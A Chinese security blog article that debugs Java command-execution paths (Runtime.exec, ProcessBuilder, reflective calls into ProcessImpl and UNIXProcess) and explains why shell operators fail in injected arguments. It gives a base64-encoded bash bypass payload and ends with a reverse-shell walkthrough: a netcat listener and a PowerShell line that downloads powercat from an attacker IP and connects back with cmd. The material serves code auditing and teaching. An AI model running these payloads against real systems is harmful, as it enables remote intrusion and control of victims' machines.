文章前言
命令执行漏洞是JAVA中一个老生常谈的话题,有时候我们在做代码审计时会发现明明是一个看似可控的命令执行的点,但是我们在构造载荷执行我们自己的命令时却发现使用的管道符拼接后却不能达到预期的目的,另外一个就是当我们输入的内容为整个要执行的命令内容时,在一些情况下并不会执行命令,另外就是对Linux平台和Windows平台的差异性的分析以及反弹shell的研究,本篇文字将基于此背景对JAVA原生的命令执行方式以及非预期问题进行介绍并进行分析研究
执行方式
下面我们对JAVA中的命令执行方式的实现进行简单的介绍以及调试分析:
Runtime.getRuntime().exec()
基本介绍
Runtime.getRuntime().exec()是Java中用于执行外部系统命令和程序的方法,它是java.lang.Runtime类的一部分,此方法允许Java应用程序调用操作系统的命令行工具、启动其他应用程序等,该方法返回一个Process对象,通过这个对象可以管理和控制正在运行的进程
方法使用
Runtime.exec()方法有多种重载形式,常见的使用方式包括以下几种:
public Process exec(String command) throws IOException
public Process exec(String[] cmdarray) throws IOException
public Process exec(String command, String[] envp) throws IOException
public Process exec(String[] cmdarray, String[] envp) throws IOException
参数说明:
- command:要执行的命令字符串
- cmdarray:字符串数组,包含命令及其参数
- envp(可选):环境变量,可以为命令设置特定的环境变量
简易示例
简易示例代码如下所示:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("cmd.exe /c calc");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
运行结果如下所示:
跟踪调试
下面我们在Runtime.getRuntime().exe()处下断点然后进行调试分析:
随后在java.lang.Runtime#exec(java.lang.String)将我们的参数传入:
紧接着又调用了exec()的另一个重载方法对参数进行处理,在这里首先判断了command传入的命令是否为空,随后StringTokenizer会把传入的conmmand字符串按"\t \n \r \f"中的任意一个分割成数组cmdarray并调用exec
紧接着调用ProcessBuilder(cmdarray).environment(envp).directory(dir).start();来执行命令,这里的cmdarray即为我们传入的命令参数
在start中会首先对cmdarray中的参数进行检查,如果其中包含null的参数则直接抛异常,随后把cmdarray第一个参数(cmdarray[0])当成要执行命令的程序
随后检查其后面的部分是否包含"空字符(\u0000)",如果包含则抛出异常,不包含则直接调用ProcessImpl.start
随后调用ProcessImpl的构造函数实例化一个对象
在这里会将第一个参数当成执行命令的程序名称(可执行文件),即:cmd.exe
调用createCommandLine构造命令行命令:
组装命令行,这里会首先将executable放置到第一位,然后追加其他的参数并以空格进行界定:
随后调用create(cmdstr, envblock, path,stdHandles, redirectErrorStream)使用Win32函数CreateProcess创建一个进程
调用栈如下所示:
<init>:389, ProcessImpl (java.lang)
start:137, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
main:9, RuntimeExec
ProcessBuilder().start()
基本介绍
ProcessBuilder是Java 中用于创建和管理操作系统进程的一个类,它提供了一种灵活的方式来配置和启动新进程,允许开发者设置命令、环境变量、工作目录等,ProcessBuilder的start()方法用于实际启动一个新的进程
方法使用
ProcessBuilder的start()方法格式如下:
Process process = new ProcessBuilder(command).start();
参数说明:
- command:字符串数组,包含了要执行的命令及其参数
简易示例
下面给出一则简易示例:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ProcessBuilderEXP {
public static void main(String[] args) {
try {
// 创建一个 ProcessBuilder 实例,设置要执行的命令
ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c calc");
// 启动进程
Process process = processBuilder.start();
// 读取进程的输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
// 等待进程结束并获取退出值
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行结果如下所示:
调试分析
我们在ProcessBuilder的start()方法处下断点进行调试分析:
随后直接来到java.lang.ProcessBuilder#start,这里的处理流程和上面的Runtime.getRuntime.exec差不多,在这里检查命令是否为空,随后获取命令的第一个参数作为可执行文件,随后检查是否包含空白字符并调用ProcessImpl.start来处理
在ProcessImpl.start初始化一个ProcessImpl实例
随后调用create(cmdstr, envblock, path,stdHandles, redirectErrorStream)使用Win32函数CreateProcess创建一个进程:
ProcessImpl.start()
基本介绍
ProcessImpl的start()方法实际上是由ProcessBuilder和Runtime.exec()进行调用以启动一个新的进程,这个方法负责创建一个新的操作系统进程并返回一个可以与其交互的Process对象
使用示例
ProcessImpl类我们虽然不能直接调用,但是可以通过反射来间接调用ProcessImpl来达到执行命令的目的,下面给出一则使用示例:
import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;
public class ProcessImplExec {
public static void main(String[] args) throws Exception {
String[] cmds = new String[]{"cmd.exe","/c","calc"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
byte[] bs = new byte[2048];
int readSize = 0;
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = e.getInputStream().read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
System.out.println(infoStream.toString());
}
}
运行结果如下:
UNIXProcess()
基本介绍
在Java中当通过ProcessBuilder或Runtime.exec()来执行命令系统命令时,Windows和Linux中有较大的差别,其中Windows下是通过ProcessImpl内部类来调用JAVA底层原生的方法来实现命令执行,而在Linux中则是通过调用UNIXProcess类来调用JAVA底层原生的方法来实现命令执行,下面进行一个简易的调试分析作为Windows和Linux下的区分:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("touch Al1ex.txt");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
我们在Runtime.getRuntime().exec处下断点进行调试分析:
随后调用Runtime的exec方法,继续跟进
这里和之前的Windows环境无差别,在这里也是先判断了command传入的命令是否为空,随后StringTokenizer会把传入的conmmand字符串按"\t \n \r \f"中的任意一个分割成数组cmdarray并调用exec
紧接着调用ProcessBuilder(cmdarray).environment(envp).directory(dir).start();来执行命令,这里的cmdarray即为我们传入的命令参数
随后将命令转数组冰冰检查是否为空,同时提取数组的第一个字符作为要执行命令的二进制文件,后续内容作为参数
随后检查其后面的部分是否包含"空字符(\u0000)",如果包含则抛出异常,不包含则直接调用ProcessImpl.start
最后将处理好的参数传给UNIXProcess
随后调用了forkAndExec方法创建子进程并执行指定的程序,从这里的参数定义可以看到这里的prog其实就是用于执行命令的二进制文件,而argBlock即为命令行参数,argc则用于表示命令行参数的个数,envBlock则是环境变量,envc则是环境变量个数,dir:字节数组,表示进程的工作目录,fds:整数数组,表示文件描述符,用于重定向输入/输出,redirectErrorStream: 布尔值,指示是否将错误流重定向到标准输出
简易示例
UNIXProcess类我们虽然不能直接调用,但是可以通过反射来间接调用UNIXProcess来达到执行命令的目的,下面给出一则使用示例:
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class ProcessImplExec {
public static void main(String[] args) throws Exception {
String[] cmd_array = new String[] {"touch","al1ex.txt"};
Class<?> clazz = Class.forName("java.lang.UNIXProcess");
Method method_toCString = clazz.getDeclaredMethod("toCString", String.class);
method_toCString.setAccessible(true);
Constructor<?> constructor = clazz.getDeclaredConstructor(byte[].class, byte[].class, int.class, byte[].class,
int.class, byte[].class, int[].class, boolean.class);
constructor.setAccessible(true);
constructor.newInstance((byte[])method_toCString.invoke(null, cmd_array[0]),
new byte[]{97, 108, 49, 101, 120, 46, 116, 120, 116}, 1, null, 0, null,
new int[]{-1,-1,-1}, false);
}
}
运行结果如下所示:
备注说明:这里构造载荷是需要注意参数的指定,例如:这里的new byte[]{97, 108, 49, 101, 120, 46, 116, 120, 116}是"al1ex.txt"的字节数组的表示,而其后的"1"则是表示有一个参数,如果我们有两个参数则需要更改对应的数值,并构造相应的字节数组内容
forkAndExec()
基本介绍
forkAndExec()方法是用于在UNIX/Linux系统中创建新进程并执行指定程序的一个关键方法,它使用fork()系统调用,当前进程(父进程)会被复制,创建一个新的子进程,新进程与父进程几乎完全相同,但有一个不同的进程ID,在子进程中使用exec()系列函数之一(例如:execl(), execv(), execvp()等)替换该进程的地址空间以执行指定的程序,这意味着子进程将运行目标程序,而不是继续执行forkAndExec()的其余部分
简易示例
下面的这一个示例虽然说是调用的是forkAndExec,但是这里还是需要先来构造一个UNIXProcess的实例才行,具体源代码如下所示:
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class forkAndExec {
public static void main(String[] args) throws Exception{
String[] cmd_array = new String[] {"touch","Al2ex.txt"};
Class<?> clazz = Class.forName("java.lang.UNIXProcess");
Method method_toCString = clazz.getDeclaredMethod("toCString", String.class);
method_toCString.setAccessible(true);
Constructor<?> constructor = clazz.getDeclaredConstructor(byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
constructor.setAccessible(true);
Method method_forkAndExec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
method_forkAndExec.setAccessible(true);
Object o = constructor.newInstance((byte[])method_toCString.invoke(null, cmd_array[0]), new byte[]{65, 108, 50, 101, 120, 46, 116, 120, 116}, 1, null, 0, null, new int[]{-1,-1,-1}, false);
int pid = (int)method_forkAndExec.invoke(o, 2, null, new byte[]{116, 111, 117, 99, 104}, new byte[]{65, 108, 50, 101, 120, 46, 116, 120, 116}, 1, null, 0, null, new int[]{-1, -1, -1}, false);
}
}
运行结果如下所示:
命令拼接
Linux平台
问题所在
下面我们做一个简单的命令执行测试,相关代码如下所示:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("echo Al1ex");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
此时的运行结果如下所示:
此时如果我们可控的待执行命令部分为后半部分,那么我们要想让我们构造的命令得到执行就需要使用到管道符进行命令拼接操作,下面我们做一个简单的测试:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("echo Al1ex && touch Al1ex.txt");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
执行结果如下所示,从中可以看到这里我们使用"&&"进行拼接的"touch Al1ex.txt"并没有得到执行
简易尝试
从上面常规模式下的调试分析可以看到在Linux中也是将传入的第一个字符串作为命令执行的二进制程序,那么我们是否可以直接指定命令执行的二进制文件,随后将其他的作为参数直接传入呢?我们在本地进行尝试发现并不行
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("/bin/bash -c 'echo Al1ex && touch Al1ex.txt'");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
我们在Linux中执行上述命令却可以正常执行:
编码解决
编码地址:https://payloads.net/Runtime.exec/
bash -c {echo,ZWNobyBBbDFleCAgJiYgdG91Y2ggQWwxZXgudHh0}|{base64,-d}|{bash,-i}
执行操作如下所示:
数组解决
另外一种方法是使用数组形式:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
String[] command = { "/bin/bash","-c","echo Al2ex && touch Al2ex.txt"};
// 执行命令
Process process = Runtime.getRuntime().exec(command);
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
执行结果如下所示:
Windows平台
管道符类
下面简单的介绍一下Windows平台cmd.exe管道符的使用:
1、cmd1 | cmd2:用于将一个命令的输出作为另一个命令的输入
2、cmd1 || cmd2:只有当cmd1执行失败后,cmd2才被执行
3、cmd1 & cmd2:先执行cmd1,不管是否成功都会执行cmd2
4、cmd1 && cmd2:先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
问题所在
有时候我们在进行代码审计的时候命令执行的参数是由已有固定的一部分+用户可控的一部分拼接而成,例如:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("ping -n 4 "+"x.x.x.x || calc");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
执行效果如下所示,这个和我们预期的效果相去甚远,我们预期的结果是前面的ping -n 4 x.x.x.x会执行失败,随后回去执行后续的命令calc,但是现在的结果是执行到第一步就直接挂了,很是迷惑
调试分析
随后我们在Runtime.getRuntime().exec()处下断点进行调试分析
其余的过程这里就不再追加描述了,这里主要关注上面调试过程中的两个点,一个是用于处理命令的程序文件是哪一个——ping,依旧是提取我们输入的参数中的第一个参数值
第二点则是查看命令执行的参数是如何组装的,可以看到这里直接提取的是整个cmdarray的1~length的数据,也就是说这里的管道符||并不会被当作管道符来使用,而是直接也作为ping命令的请求参数的一部分进行执行,在执行的时候碰到语法错误无法执行,从而返回错误信息
特殊场景
经过测试发现当我们在前面添加"cmd.exe /c"时,后续的管道符才会生效,不过此类场景在我们平时做代码审计时极为少见,基本上要么就是控制整个输入点并将其完整的使用Runtime.getRuntime().exec来执行,要么就是只控制后面的一部分命令执行点,如上面的问题场景中的示例,这种场景下我们的输入全部被作为参数处理,没法直接去控制最前面的用于执行命令的二进制程序
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("cmd.exe /c ping -n 4 "+"x.x.x.x || calc");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
反弹shell
这里我们以直接控制要执行的cmdstr为例进行演示说明,使用的Windows系统自带的powershell终端进行反弹shell
Step 1:攻击主机上监听端口
nc -lvp 4444
Step 2:在攻击主机上托管powercat.ps1
Step 3:执行命令
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
Step 4:成功收取到反弹的shell
文末小结
本篇文章我们主要对JAVA环境中命令执行的方式进行进行了调试分析,而这些函数都是我们平时再做代码审计时需要着重关注的命令执行点,同时这里还对Windows和Linux下通过管道符进行命令拼接时后者为什么不执行的情况进行了调试分析,同时给出了关于反弹shell的可用解决方案~
版权归原作者 网络安全工程师老王 所有, 如有侵权,请联系我们删除。